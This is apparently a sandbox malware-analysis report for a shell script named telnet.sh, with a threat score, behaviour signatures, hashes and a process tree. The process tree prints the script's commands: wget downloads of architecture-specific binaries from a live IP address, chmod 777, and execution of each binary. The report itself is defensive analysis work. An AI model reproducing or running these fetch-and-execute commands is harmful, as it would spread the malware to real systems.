Overview

overview

7

Static

static

1

telnet.sh

ubuntu-18.04-amd64

7

telnet.sh

debian-9-armhf

7

telnet.sh

debian-9-mips

7

telnet.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    4s
  • max time network
    95s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/09/2026, 17:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    telnet.sh
  • Size 1KB
  • Sample260907-werwsazyfw
  • SHA256 5180925f28c24bd637c47417c1542736aa3989e7e174d885897cdce880bcda44
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/telnet.sh
    /tmp/telnet.sh
    1⤵
    • Executes dropped EXE
    PID:713
    • /usr/bin/wget
      wget http://94.154.43.221/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:714
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:725
    • /tmp/x86_64
      ./x86_64 telnet
      2⤵
        PID:727
      • /usr/bin/wget
        wget http://94.154.43.221/iran.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:730
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/aarch64
        ./aarch64 telnet
        2⤵
          PID:737
        • /usr/bin/wget
          wget http://94.154.43.221/iran.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/m68k
          ./m68k telnet
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://94.154.43.221/iran.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              aarch64
              • Path /tmp/aarch64
              • Size 189KB
              • SHA256 e102ee5bbf9282a4c5f5b38c5554668eefc67a9782004631d1aa837e18dfe159
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              m68k
              • Path /tmp/m68k
              • Size 177KB
              • SHA256 b77142d8fa79f421c402fae649e041589c6e3584e69def5789b704af6b522535
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              x86_64
              • Path /tmp/x86_64
              • Size 160KB
              • SHA256 de1de068b151fa14fdf94ba39d0503f0ee10a05fe0f9146c43928a96db25e084
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download